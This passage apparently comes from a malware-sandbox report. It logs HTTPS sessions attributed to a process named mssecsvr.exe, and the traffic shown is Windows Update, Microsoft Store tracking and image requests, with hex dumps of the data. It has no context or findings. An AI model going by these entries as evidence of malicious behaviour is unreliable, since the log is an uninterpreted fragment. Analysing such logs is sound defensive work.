87	192.168.2.6	52669	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:49 UTC	6795	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:49 UTC	6796	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 43851611-2e9f-4387-9934-16dcb90e5b56 MS-RequestId: cc59d026-490e-48c3-9527-b4b8f815b1d2 MS-CV: FprtbDeb4ki52wP2.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:48 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:49 UTC	6797	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:49 UTC	6812	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:49 UTC	6828	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	52720	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:49 UTC	6795	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130657Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:49 UTC	6796	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: dfa6a662-2278-4e80-a2f8-3d2535096c89 Date: Wed, 20 Jul 2022 04:07:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	52721	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:49 UTC	6832	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130658Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:49 UTC	6832	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 7cc3136d-892d-4857-a937-65a960dcecc3 Date: Wed, 20 Jul 2022 04:07:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49730	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:49 UTC	83	OUT	GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:49 UTC	87	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 37622 Content-Type: image/png Last-Modified: Thu, 30 Sep 2021 03:30:15 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyOUU1MTM1NDQ" MS-CV: YXEQRcwIqUCuqc/O.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:49 UTC	87	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 92 bd 49 44 41 54 78 01 ec 9a 81 6e db 38 10 44 09 20 52 72 69 3e e3 92 d8 76 74 77 ff ff 75 e7 68 db 07 25 43 10 cb 2e 49 cb 85 81 01 31 5a 53 6e 52 e8 65 96 a4 d2 c3 f4 77 56 93 68 36 a9 e6 d7 ad 5f f5 f6 45 8f 5b 6f a2 6e 66 80 0e ab de 37 3a 4c 4f ef ab 0e 95 3a ae c2 33 22 8a 36 d6 eb 2e fd af de 88 a2 53 f3 45 8f 87 e9 d1 cc fb 74 d1 cf e2 db 30 f1 c0 63 50 da 50 87 31 e4 1c f8 a1 f9 6d 45 51 f0 13 35 41 ce 28 92 ca 6a 80 aa bb 8e 5b df 4e a7 e9 af 5c 05 23 e3 c6 9c 4c e8 52 b7 2f b1 4f b3 d3 0a 77 71 2f f5 ef 5f a5 33 a9 c4 a5 b0 f5 95 20 ba 3e 54 d3 65 7c 6a 0f a4 c9 7c 02 3f c0 9b 31 25 59 e8 99 ca bc 61 02 7a 7a fb 8c 2c 23 cd 08 24 c4 6c c4 Data Ascii: PNGIHDR,,"IDATxn8D Rri>vtwuh%C.I1ZSnRewVh6_E[onf7:LO:3"6.SEt0cPP1mEQ5A(j[N\#LR/Owq/_3 >Te\|j\|?1%Yazz,#$l
2022-07-20 04:05:49 UTC	103	IN	Data Raw: 9f 09 6e 39 ec 8d 6c 41 04 8c 2d f5 1d b9 88 b9 d6 9f 16 88 54 87 ed 3b 62 fb 0e 8e cc 43 c9 e0 f6 4e 55 91 0f 4c a7 48 31 8c 02 45 d8 ae a2 a8 ca 09 20 81 a5 90 0e 42 d9 4e 42 e9 8a 44 b3 b7 3a 7c f2 4a ab b1 56 d3 75 92 3c a2 e3 ed 32 48 2e 01 a1 08 bd f8 30 f6 2c 10 c8 ea 59 09 36 17 a8 d3 ae fd d8 ed 2e 75 04 be 99 ad 61 83 26 fd 92 96 6e a7 c8 41 f2 7f cd 83 d2 0f c4 89 6f d9 38 95 3d 15 42 f2 8e b2 94 6c a6 2d 8b a1 fb fc e6 2c df 52 b5 6f 64 87 c5 80 2b 37 ee 7b 77 0b 43 bb f4 9f 8d 91 af fc d8 75 e0 2c 83 27 5b 99 38 4a 90 f4 19 b1 90 fe 84 2b eb df db d1 2f ef df 8d 1d 64 e4 94 55 ec 20 69 b3 06 e2 5a c7 57 7e 2c 5c b5 07 07 84 a5 a5 23 93 49 17 03 28 5b f0 96 6f 90 c1 73 2e d7 a0 6b 81 6a 6d 25 3f 16 e2 71 60 6d f4 55 35 8c 24 7a 21 bb aa 7b ee Data Ascii: n9lA-T;bCNULH1E BNBD:\|JVu<2H.0,Y6.ua&nAo8=Bl-,Rod+7{wCu,'[8J+/dU iZW~,\#I([os.kjm%?q`mU5$z!{
2022-07-20 04:05:49 UTC	111	IN	Data Raw: d9 34 35 ea 0e 87 2a 84 d9 dd e9 a7 04 66 d1 e4 c4 ef 3c 7b 29 7e be 40 37 81 53 39 67 f2 6a 9b a4 c9 9e f7 3a ee 01 78 f8 14 43 02 3b f1 cb 0a 9b d5 16 3d 6d 1c ab 11 91 37 0f 89 dd b3 1d 30 13 fe 6c ac ed 08 e0 58 0f 7b f2 9b da c7 f6 fc ed 1f 48 83 e5 6f 37 d2 53 17 6b b9 4f f2 d3 c4 87 8b 19 44 e4 90 04 52 ef e4 da f1 4d ad 6d c9 bd 73 e9 3f ea 11 9f 11 3c 6a 28 32 f8 05 0d d6 74 bf 70 b1 41 16 d9 a3 3a e7 74 23 0b 62 d3 38 26 f5 95 9d 25 ab c0 c0 0c 41 51 ea 2b 9c ac 0f 9e 5a dc a6 71 b3 d4 2f 02 c6 71 7b ae 34 8e 21 a2 59 37 b7 a3 43 dc c4 b8 aa 2e 73 a3 07 36 8f 4e ff f8 e7 bf a7 e6 59 54 4f 08 e2 26 29 18 44 53 4c e6 22 65 32 a2 b1 c4 fa b9 c7 1d 82 d2 79 3f 4a 56 3b 82 9b b0 c8 61 8c 62 bd a3 a0 b5 c4 19 7d 0f 32 eb 7e de f7 ee 8e 39 a5 e4 9f 66 Data Ascii: 45*f<{)~@7S9gj:xC;=m70lX{Ho7SkODRMms?<j(2tpA:t#b8&%AQ+Zq/q{4!Y7C.s6NYTO&)DSL"e2y?JV;ab}2~9f

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	52728	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:49 UTC	6833	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130701Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:49 UTC	6833	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 948848be-8ccd-4c68-9041-04a77c1ec4ff Date: Wed, 20 Jul 2022 04:07:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	52735	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:50 UTC	6833	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T130704Z&asid=e1b72f61ecf5467db221cff271cebea5&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:50 UTC	6870	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 3830eea4-e461-45e5-bb90-2eba33d66224 Date: Wed, 20 Jul 2022 04:07:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	52740	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:50 UTC	6834	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:50 UTC	6834	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 6f37e06b-76d6-4816-b53a-2d342c35d13c MS-RequestId: f4258b83-7928-4567-8483-bdf958d2efc4 MS-CV: x/F3mEbMnUK4djlX.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:50 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:50 UTC	6835	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:50 UTC	6850	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:50 UTC	6866	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	52780	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:50 UTC	6870	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130715Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:50 UTC	6870	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 8903c9e5-1059-431b-af47-643e9f1ed5a5 Date: Wed, 20 Jul 2022 04:07:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	52786	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:50 UTC	6871	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130716Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:50 UTC	6871	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: dd6f2997-021d-4514-878f-73c4e7e6c926 Date: Wed, 20 Jul 2022 04:07:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	52781	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:50 UTC	6871	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:51 UTC	6874	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ce046d7a-9756-4b0e-ac2b-9db85db33ac0 MS-RequestId: fba6a003-9c18-4f75-acb2-5cd93c3934df MS-CV: um6c5fqoiE632Aww.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:50 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:51 UTC	6874	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:51 UTC	6890	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:51 UTC	6906	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	52789	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
